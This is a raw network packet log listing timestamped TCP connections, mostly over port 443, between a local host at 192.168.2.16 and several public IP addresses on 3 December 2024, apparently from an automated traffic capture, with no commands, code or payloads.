Dec 3, 2024 09:05:11.800592899 CET	443	49705	23.218.208.109	192.168.2.16
Dec 3, 2024 09:05:11.930705070 CET	49710	443	192.168.2.16	23.218.208.109
Dec 3, 2024 09:05:11.930749893 CET	443	49710	23.218.208.109	192.168.2.16
Dec 3, 2024 09:05:11.930840015 CET	49710	443	192.168.2.16	23.218.208.109
Dec 3, 2024 09:05:11.931196928 CET	49710	443	192.168.2.16	23.218.208.109
Dec 3, 2024 09:05:11.931207895 CET	443	49710	23.218.208.109	192.168.2.16
Dec 3, 2024 09:05:11.937241077 CET	49678	443	192.168.2.16	20.189.173.10
Dec 3, 2024 09:05:12.538247108 CET	49678	443	192.168.2.16	20.189.173.10
Dec 3, 2024 09:05:12.791256905 CET	49673	443	192.168.2.16	204.79.197.203
Dec 3, 2024 09:05:12.792999983 CET	443	49706	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:12.793644905 CET	49706	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:12.793679953 CET	443	49706	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:12.797426939 CET	49706	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:12.797435999 CET	443	49706	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:12.797481060 CET	49706	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:12.797491074 CET	443	49706	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:13.371069908 CET	443	49710	23.218.208.109	192.168.2.16
Dec 3, 2024 09:05:13.371155977 CET	49710	443	192.168.2.16	23.218.208.109
Dec 3, 2024 09:05:13.372519016 CET	49710	443	192.168.2.16	23.218.208.109
Dec 3, 2024 09:05:13.372525930 CET	443	49710	23.218.208.109	192.168.2.16
Dec 3, 2024 09:05:13.372761011 CET	443	49710	23.218.208.109	192.168.2.16
Dec 3, 2024 09:05:13.373955965 CET	49710	443	192.168.2.16	23.218.208.109
Dec 3, 2024 09:05:13.419327021 CET	443	49710	23.218.208.109	192.168.2.16
Dec 3, 2024 09:05:13.543420076 CET	443	49706	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:13.543445110 CET	443	49706	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:13.543478966 CET	443	49706	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:13.543540955 CET	49706	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:13.543553114 CET	443	49706	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:13.543570042 CET	49706	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:13.544058084 CET	49706	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:13.544069052 CET	443	49706	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:13.544076920 CET	49706	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:13.544217110 CET	443	49706	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:13.544245958 CET	443	49706	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:13.544303894 CET	49706	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:13.621473074 CET	49715	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:13.621500969 CET	443	49715	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:13.621651888 CET	49715	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:13.621841908 CET	49715	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:13.621849060 CET	443	49715	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:13.753209114 CET	49678	443	192.168.2.16	20.189.173.10
Dec 3, 2024 09:05:13.898192883 CET	443	49710	23.218.208.109	192.168.2.16
Dec 3, 2024 09:05:13.898277044 CET	443	49710	23.218.208.109	192.168.2.16
Dec 3, 2024 09:05:13.898387909 CET	49710	443	192.168.2.16	23.218.208.109
Dec 3, 2024 09:05:13.899975061 CET	49710	443	192.168.2.16	23.218.208.109
Dec 3, 2024 09:05:13.899992943 CET	443	49710	23.218.208.109	192.168.2.16
Dec 3, 2024 09:05:13.900002956 CET	49710	443	192.168.2.16	23.218.208.109
Dec 3, 2024 09:05:13.900008917 CET	443	49710	23.218.208.109	192.168.2.16
Dec 3, 2024 09:05:15.205583096 CET	49717	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:15.205621004 CET	443	49717	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:15.205733061 CET	49717	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:15.206120968 CET	49717	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:15.206130028 CET	443	49717	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:15.520128012 CET	443	49715	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:15.520821095 CET	49715	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:15.520853996 CET	443	49715	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:15.521626949 CET	49715	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:15.521631956 CET	443	49715	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:15.521667004 CET	49715	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:15.521672010 CET	443	49715	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:16.102431059 CET	49680	80	192.168.2.16	192.229.211.108
Dec 3, 2024 09:05:16.166203022 CET	49678	443	192.168.2.16	20.189.173.10
Dec 3, 2024 09:05:16.243442059 CET	443	49715	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:16.243470907 CET	443	49715	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:16.243510962 CET	443	49715	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:16.243566990 CET	49715	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:16.243592024 CET	443	49715	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:16.243608952 CET	49715	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:16.244230986 CET	49715	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:16.244240999 CET	443	49715	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:16.244347095 CET	49715	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:16.244396925 CET	443	49715	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:16.244422913 CET	443	49715	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:16.244472980 CET	49715	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:16.417248011 CET	49680	80	192.168.2.16	192.229.211.108
Dec 3, 2024 09:05:16.469952106 CET	443	49717	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:16.470289946 CET	49717	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:16.470309019 CET	443	49717	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:16.471385002 CET	443	49717	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:16.471478939 CET	49717	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:16.472681046 CET	49717	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:16.472755909 CET	49717	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:16.472769022 CET	443	49717	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:16.472846985 CET	49717	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:16.472903967 CET	49717	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:16.473335028 CET	49718	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:16.473387957 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:16.473773003 CET	49718	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:16.473993063 CET	49718	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:16.474009037 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:16.661516905 CET	49719	443	192.168.2.16	142.250.181.100
Dec 3, 2024 09:05:16.661570072 CET	443	49719	142.250.181.100	192.168.2.16
Dec 3, 2024 09:05:16.661703110 CET	49719	443	192.168.2.16	142.250.181.100
Dec 3, 2024 09:05:16.661997080 CET	49719	443	192.168.2.16	142.250.181.100
Dec 3, 2024 09:05:16.662003994 CET	443	49719	142.250.181.100	192.168.2.16
Dec 3, 2024 09:05:17.022228003 CET	49680	80	192.168.2.16	192.229.211.108
Dec 3, 2024 09:05:17.783001900 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:17.783256054 CET	49718	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:17.783282042 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:17.784365892 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:17.784447908 CET	49718	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:17.785536051 CET	49718	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:17.785600901 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:17.785768032 CET	49718	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:17.831332922 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:17.835235119 CET	49718	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:17.835257053 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:17.883239031 CET	49718	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:18.235263109 CET	49680	80	192.168.2.16	192.229.211.108
Dec 3, 2024 09:05:18.359441996 CET	443	49719	142.250.181.100	192.168.2.16
Dec 3, 2024 09:05:18.359759092 CET	49719	443	192.168.2.16	142.250.181.100
Dec 3, 2024 09:05:18.359772921 CET	443	49719	142.250.181.100	192.168.2.16
Dec 3, 2024 09:05:18.360761881 CET	443	49719	142.250.181.100	192.168.2.16
Dec 3, 2024 09:05:18.360831976 CET	49719	443	192.168.2.16	142.250.181.100
Dec 3, 2024 09:05:18.362004995 CET	49719	443	192.168.2.16	142.250.181.100
Dec 3, 2024 09:05:18.362065077 CET	443	49719	142.250.181.100	192.168.2.16
Dec 3, 2024 09:05:18.411231995 CET	49719	443	192.168.2.16	142.250.181.100
Dec 3, 2024 09:05:18.411258936 CET	443	49719	142.250.181.100	192.168.2.16
Dec 3, 2024 09:05:18.464216948 CET	49719	443	192.168.2.16	142.250.181.100
Dec 3, 2024 09:05:18.637307882 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:18.637408018 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:18.637437105 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:18.637470007 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:18.637468100 CET	49718	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:18.637494087 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:18.637512922 CET	49718	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:18.645617962 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:18.645658970 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:18.645673990 CET	49718	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:18.645697117 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:18.645752907 CET	49718	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:18.654016972 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:18.662514925 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:18.662566900 CET	49718	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:18.662589073 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:18.714242935 CET	49718	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:18.757931948 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:18.810250044 CET	49718	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:18.847675085 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:18.851607084 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:18.851665974 CET	49718	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:18.851691008 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:18.859361887 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:18.859425068 CET	49718	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:18.859446049 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:18.859467983 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:18.859510899 CET	49718	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:18.860368967 CET	49718	443	192.168.2.16	172.67.135.197
Dec 3, 2024 09:05:18.860387087 CET	443	49718	172.67.135.197	192.168.2.16
Dec 3, 2024 09:05:19.006570101 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:19.006614923 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:19.006975889 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:19.007219076 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:19.007229090 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:19.007947922 CET	49723	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:19.008001089 CET	443	49723	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:19.008208990 CET	49723	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:19.008275032 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:19.008310080 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:19.008450985 CET	49723	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:19.008471966 CET	443	49723	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:19.008476973 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:19.008621931 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:19.008631945 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.266133070 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:20.266462088 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:20.266484976 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:20.267501116 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:20.267563105 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:20.268659115 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:20.268770933 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:20.268876076 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:20.268882990 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:20.269046068 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.269366026 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:20.269383907 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.270257950 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.270328045 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:20.271155119 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:20.271209002 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.271434069 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:20.271440029 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.322834015 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:20.322877884 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:20.337610960 CET	443	49723	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:20.337902069 CET	49723	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:20.337929964 CET	443	49723	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:20.340286016 CET	443	49723	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:20.340357065 CET	49723	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:20.341512918 CET	49723	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:20.341592073 CET	443	49723	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:20.341658115 CET	49723	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:20.341789961 CET	443	49723	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:20.387243986 CET	49723	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:20.642254114 CET	49680	80	192.168.2.16	192.229.211.108
Dec 3, 2024 09:05:20.703536987 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:20.735955954 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.735997915 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.736027956 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.736057043 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.736057043 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:20.736066103 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.736114979 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.736116886 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:20.736123085 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.736157894 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:20.736164093 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.736227036 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:20.736232042 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.736812115 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.736922979 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:20.736927986 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.754251003 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:20.786242962 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:20.786247015 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.824001074 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:20.824009895 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:20.824039936 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:20.824062109 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:20.824068069 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:20.824090958 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:20.824141026 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:20.824172974 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:20.824223995 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:20.828100920 CET	443	49723	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:20.828155041 CET	443	49723	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:20.828356981 CET	49723	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:20.828530073 CET	49723	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:20.828550100 CET	443	49723	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:20.828558922 CET	49723	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:20.828630924 CET	49723	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:20.829925060 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:20.829946041 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:20.830018997 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:20.830234051 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:20.830244064 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:20.834243059 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:20.921262980 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.925256968 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.925427914 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:20.925435066 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.933448076 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.933520079 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:20.933526039 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.941317081 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.941457987 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:20.941462994 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.942070961 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:20.942080021 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:20.942110062 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:20.942171097 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:20.942183971 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:20.942214966 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:20.942384005 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:20.949230909 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.949312925 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:20.949317932 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.965095043 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.965244055 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.965279102 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:20.965285063 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.965739012 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:20.973099947 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.977272987 CET	49678	443	192.168.2.16	20.189.173.10
Dec 3, 2024 09:05:20.981115103 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.981154919 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.981208086 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:20.981220007 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.981272936 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:20.989051104 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:20.989080906 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:20.989084005 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.989213943 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:20.989213943 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:20.989227057 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:20.989795923 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:20.997430086 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:20.997661114 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:20.997668028 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:21.041404009 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:21.041412115 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:21.089294910 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:21.122561932 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:21.124696970 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:21.124862909 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:21.124869108 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:21.126203060 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:21.126230001 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:21.126315117 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:21.126326084 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:21.126405001 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:21.129496098 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:21.129523039 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:21.129614115 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:21.129637957 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:21.129731894 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:21.130860090 CET	49724	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:21.130872965 CET	443	49724	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:21.156667948 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:21.156687021 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:21.156789064 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:21.156810045 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:21.157021999 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:21.170063019 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:21.170139074 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:21.170222998 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:21.170367956 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:21.170387983 CET	443	49722	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:21.170429945 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:21.170614004 CET	49722	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:21.270803928 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:21.270828962 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:21.270971060 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:21.271172047 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:21.271186113 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:21.311391115 CET	49727	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:21.311425924 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:21.311605930 CET	49727	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:21.311780930 CET	49727	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:21.311794043 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:22.131210089 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.131468058 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.131489038 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.131892920 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.132786989 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.132864952 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.132921934 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.173238039 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.173244953 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.397277117 CET	49673	443	192.168.2.16	204.79.197.203
Dec 3, 2024 09:05:22.479742050 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:22.480032921 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:22.480052948 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:22.481065989 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:22.481165886 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:22.481528997 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:22.481590033 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:22.481718063 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:22.481725931 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:22.518224001 CET	443	49727	151.101.2.137	192.168.2.16
